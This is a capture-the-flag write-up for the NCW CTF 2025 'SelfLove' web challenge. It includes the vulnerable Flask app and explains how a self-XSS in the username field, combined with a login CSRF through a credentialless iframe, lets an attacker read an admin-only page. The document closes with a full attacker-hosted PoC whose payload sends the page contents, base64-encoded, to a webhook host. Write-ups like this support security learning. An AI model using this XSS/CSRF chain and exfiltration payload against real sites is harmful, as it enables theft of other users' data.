# SelfLove NCW CTF 2025 WriteUp 🖊️Author: DJumanto 🛡️Team: proof by feeling 📖Note: This Writeup contains solver for SelfLove challenge in NCW CTF 2025 --- ## TL;DR This write-up explains how we can escalate a self‑XSS, combined with CSRF, into stealing information from other users. --- ## Summary * **Vulnerabilities:** Cross Site Scripting (XSS), CSRF. * **Target:** Read the flag in high privilege user endpoint --- ## The App In this challenge, we're given a web application with some functionalities, where we able to register, login, and report admin, an obvious client side challenge. app.py ```py from flask import Flask, request, g, render_template, flash, session import sqlite3 import os from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.chrome.options import Options from flask_limiter import Limiter from flask_limiter.util import get_remote_address import time import threading DATABASE = "database.db" app = Flask(__name__) limiter = Limiter( get_remote_address, app=app ) app.secret_key = os.urandom(32).hex() app.config['SESSION_COOKIE_SAMESITE'] = 'None' app.config['SESSION_COOKIE_SECURE'] = True FLAG = "NCW{fake_flag}" admin_username = "tanknight_" + os.urandom(6).hex() admin_password = FLAG from sigma import * @app.after_request def after_request(response): response.headers["Content-Security-Policy"] = "default-src 'self'; script-src 'self' https://cdn.tailwindcss.com/3.4.17 http://www.instagram.com/embed.js; style-src 'self' 'unsafe-inline'; frame-src https://www.instagram.com/;" return response def get_db(): """Return a DB connection for this request, creating it if needed.""" if "db" not in g: g.db = sqlite3.connect(DATABASE, timeout=30) g.db.row_factory = sqlite3.Row return g.db @app.route('/') def home(): username = session.get('username', 'Guest') if username == 'Guest': return "Hello " + username + "!" + '<script src="https://cdn.tailwindcss.com/3.4.17"></script><body class="min-h-screen flex flex-col items-center gap-4 justify-center bg-gradient-to-br from-slate-900 via-indigo-900 to-sky-900 text-slate-100 text-center font-sans"><br>Login untuk melihat easter egg.<a href="/login" class="px-6 py-3 bg-sky-500 hover:bg-sky-600 text-slate-900 font-semibold rounded-xl shadow-lg transition">Login</a></body>' else: return "Hello " + username + "!" + "<meta http-equiv='refresh' content='0; url=/dashboard' />" @app.route('/dashboard') def dashboard(): if not session.get('user_id'): return "<meta http-equiv='refresh' content='0; url=/login' />" + "Please login first!" return '<script src="https://cdn.tailwindcss.com/3.4.17"></script><body class="min-h-screen flex items-center gap-4 justify-center bg-gradient-to-br from-slate-900 via-indigo-900 to-sky-900 text-slate-100 text-center font-sans">' + post_instagram_tersigma + post_instagram_tersigma_2 + '</body>' + f"<!-- flag gratis 👻: {FLAG[:5]} -->" @app.route('/flag') def flag(): print(f"{session.get('username','Guest')} is trying to access /flag") if session.get('admin'): return FLAG return "kamu siapa bang?" @app.route('/logout') def logout(): session.clear() return "<meta http-equiv='refresh' content='0; url=/login' />" + "Logout successful!" @app.route('/login', methods=['GET', 'POST']) def login(): if session.get('user_id'): return "<meta http-equiv='refresh' content='0; url=/' />" + "Already logged in!" if request.method == 'GET': return render_template('login.html') username = request.form['username'] password = request.form['password'] db = get_db() cursor = db.cursor() cursor.execute('SELECT * FROM users WHERE username = ? AND password = ?', (username, password)) user = cursor.fetchone() db.close() if not user: return "<meta http-equiv='refresh' content='0; url=/login' />" + "Invalid credentials or account does not exists!" session['user_id'] = user['id'] session['username'] = user['username'] session['admin'] = user['admin'] return "<meta http-equiv='refresh' content='0; url=/' />" + "Login successful!" @app.route('/register', methods=['GET', 'POST']) def register(): if session.get('user_id'): return "<meta http-equiv='refresh' content='0; url=/' />" + "Already logged in!" if request.method == 'GET': return render_template('register.html') username = request.form['username'] password = request.form['password'] db = get_db() cursor = db.cursor() try: if FLAG in password: cursor.execute('INSERT INTO users (username, password, admin) VALUES (?, ?, ?)', (username, password, True)) else: cursor.execute('INSERT INTO users (username, password, admin) VALUES (?, ?, ?)', (username, password, False)) db.commit() user_id = cursor.lastrowid cursor.execute('SELECT id, username, admin FROM users WHERE id = ?', (user_id,)) user = cursor.fetchone() session['user_id'] = user['id'] session['username'] = user['username'] session['admin'] = user['admin'] message = "<meta http-equiv='refresh' content='0; url=/dashboard' />" + f"User {username} registered successfully." except sqlite3.IntegrityError: message = "<meta http-equiv='refresh' content='0; url=/register' />" + f"User {username} already exists." finally: db.close() return message def run_bot(url): options = Options() options.add_argument('--headless') options.add_argument('--no-sandbox') options.add_argument("--ignore-certificate-errors") options.add_argument('--disable-dev-shm-usage') options.add_argument('--disable-infobars') options.add_argument('--disable-background-networking') options.add_argument('--disable-default-apps') options.add_argument('--disable-extensions') options.add_argument('--disable-gpu') options.add_argument('--disable-sync') options.add_argument('--disable-translate') driver = webdriver.Chrome(options=options) try: ## STAGE 1: Registering admin account.. driver.get("https://127.0.0.1:40111/register") driver.find_element(By.NAME, "username").send_keys(admin_username) driver.find_element(By.NAME, "password").send_keys(admin_password) driver.find_element(By.XPATH, "//button[@type='submit']").click() time.sleep(1) try: ## STAGE 2: Login as admin.. driver.get("https://127.0.0.1:40111/login") driver.find_element(By.NAME, "username").send_keys(admin_username) driver.find_element(By.NAME, "password").send_keys(admin_password) driver.find_element(By.XPATH, "//button[@type='submit']").click() time.sleep(1) except: ... ## STAGE 3: Visit the target URL print(f"Bot is visiting: {url}") print(driver.get_cookies()) driver.get(url) time.sleep(10) print(driver.get_cookies()) message = 'done.' except Exception as e: message = f"Error occurred: {e}" print(f"Error occurred: {e}") finally: driver.close() return message @app.route('/report', methods=['GET', 'POST']) @limiter.limit("5 per 10 minutes", methods=["POST"]) def report(): if request.method == 'GET': return render_template('report.html') url = request.form['url'] if not url.startswith("http://") and not url.startswith("https://"): return "Only http and https protocol allowed.", 400 threading.Thread(target=run_bot, args=(url,)).start() return f"Report submitted! Our bot will visit url shortly." def init_db(): with app.app_context(): db = get_db() cur = db.cursor() cur.execute( """ CREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT UNIQUE NOT NULL, password TEXT NOT NULL, admin BOOLEAN NOT NULL DEFAULT 0 ) """ ) db.commit() if __name__ == '__main__': init_db() app.run(host='0.0.0.0', port=40111, ssl_context='adhoc') ``` The target is to read the flag in the **/flag** endpoint where only admin can visit it. ## Self XSS There are several clear HTML injection points, both of which appear in the content returned to the user after the authentication process: > Injection point ```python ... # after login process @app.route('/') def home(): username = session.get('username', 'Guest') if username == 'Guest': return "Hello " + username + "!" + '<script src="https://cdn.tailwindcss.com/3.4.17"></script><body class="min-h-screen flex flex-col items-center gap-4 justify-center bg-gradient-to-br from-slate-900 via-indigo-900 to-sky-900 text-slate-100 text-center font-sans"><br>Login untuk melihat easter egg.<a href="/login" class="px-6 py-3 bg-sky-500 hover:bg-sky-600 text-slate-900 font-semibold rounded-xl shadow-lg transition">Login</a></body>' else: return "Hello " + username + "!" + "<meta http-equiv='refresh' content='0; url=/dashboard' />" ... # after register process session['user_id'] = user['id'] session['username'] = user['username'] session['admin'] = user['admin'] message = "<meta http-equiv='refresh' content='0; url=/dashboard' />" + f"User {username} registered successfully." except sqlite3.IntegrityError: message = "<meta http-equiv='refresh' content='0; url=/register' />" + f"User {username} already exists." finally: db.close() ... ``` However, the injection that happens right after registration isn’t very useful, since the page immediately redirects via a meta tag. The one that appears after logging in is much more useful, though, because we can simply comment out the **\<meta>** tag using the username below. ```html <script src=’/’></script><!-- ``` so it will become like this when rendered: ```html Hello <script src=’/’></script><!-- ! <meta http-equiv='refresh' content='0; url=/dashboard' /> ``` However, because the CSP sets default-src 'self', our stored payload has to come from the same origin. To work around that, we can register a user whose username acts as both JavaScript and HTML. The trick is to turn the Hello string into an arrow function, so our username ends up looking like this: ``` = async () => {dosomethinghere}; Hello(); //<script src=’/’></script><!-- ``` Then when it behaves as javascript, it will be processed like this: ```javascript Hello = async () => {dosomethinghere}; Hello(); //<script src=’/’></script><!-- ! <meta http-equiv='refresh' content='0; url=/dashboard' /> ``` Great now we have XSS... but stil a self-XSS, how do we escalate it so we can compromise the victim? ## CSRF Attack During the login process, we can see that the application doesn’t enforce CSRF protection. That means we can create a page containing a [credentialles iframe](https://developer.mozilla.org/en-US/docs/Web/Security/IFrame_credentialless), then trick the user into visiting it so they log in as the attacker with our payload. The iframe won’t use the parent’s cookies, though. So the question is: *"How do we actually get the flag?"* If we look closely at the CSP configuration: ```python app.config['SESSION_COOKIE_SAMESITE'] = 'None' app.config['SESSION_COOKIE_SECURE'] = True ``` The cookie’s SameSite value is set to None, which means it can be sent across different origins. That’s a good sign, because now we can create another iframe that uses the admin’s original cookies. Since both iframes share the same origin, iframe 1 can access properties inside iframe 2. Here’s a visual breakdown of the plan: ![image](https://hackmd.io/_uploads/ryBlz0MW-x.png) We can host a web like below: ```python from flask import Flask app = Flask(__name__) @app.route("/cok.html") def index(): return ''' <iframe name="alamak" src="./csrf.html" width="40%" height="500px" credentialless></iframe> <iframe name="kisanak" src="https://127.0.0.1:40111/flag" width="40%" height="500px"></iframe>''' @app.route("/csrf.html") def what(): return '''<html> <body> <form action="https://127.0.0.1:40111/login" method="POST"> <input type="hidden" name="username" value=" = async () => { PAYLOAD_HERE }; Hello();// <script src='/'></script><!--" /> <input type="hidden" name="password" value="calamity" /> <input type="submit" value="submit" /> </form> <script> document.forms[0].submit(); </script> </body> </html>''' @app.route("/") def hole(): return "aku ganteng" app.run(host="0.0.0.0", port=1338, ssl_context='adhoc') ``` Yet while attempting for cookie extraction, i realized that the cookies is HTTPOnly ``` session=[cookie]; Secure; HttpOnly; Path=/; SameSite=None ``` Since there’s no endpoint that reflects the cookies in the response, our only option is to extract the flag directly from the page’s body. We can do that easily using ``window.top[1].document.body.innerText``. So here’s my final XSS payload: ``` = async () => { await new Promise(r => setTimeout(r,1000)); location.replace(`https://[webhook]?c=${btoa(window.top[1].document.body.innerText)}`); }; Hello();// <script src='/'></script><!-- ``` Now we can register as a user with that payload and force them to visit our site **/cok.html**, and we'll get our flag in the webhook. --- ## Exploit POC automate.py ```python from flask import Flask app = Flask(__name__) @app.route("/cok.html") def index(): return ''' <iframe name="alamak" src="./csrf.html" width="40%" height="500px" credentialless></iframe> <iframe name="kisanak" src="https://127.0.0.1:40111/flag" width="40%" height="500px"></iframe>''' @app.route("/csrf.html") def what(): return '''<html> <body> <form action="https://127.0.0.1:40111/login" method="POST"> <input type="hidden" name="username" value=" = async () => { await new Promise(r => setTimeout(r,1000)); location.replace(`https://[webhook]?c=${btoa(window.top[1].document.body.innerText)}`); }; Hello();// <script src='/'></script><!--" /> <input type="hidden" name="password" value="calamity" /> <input type="submit" value="submit" /> </form> <script> document.forms[0].submit(); </script> </body> </html>''' @app.route("/") def hole(): return "aku ganteng" app.run(host="0.0.0.0", port=1338, ssl_context='adhoc') ``` --- ## References * https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement/requestSubmit. * https://blog.slonser.info/posts/make-self-xss-great-again/. ---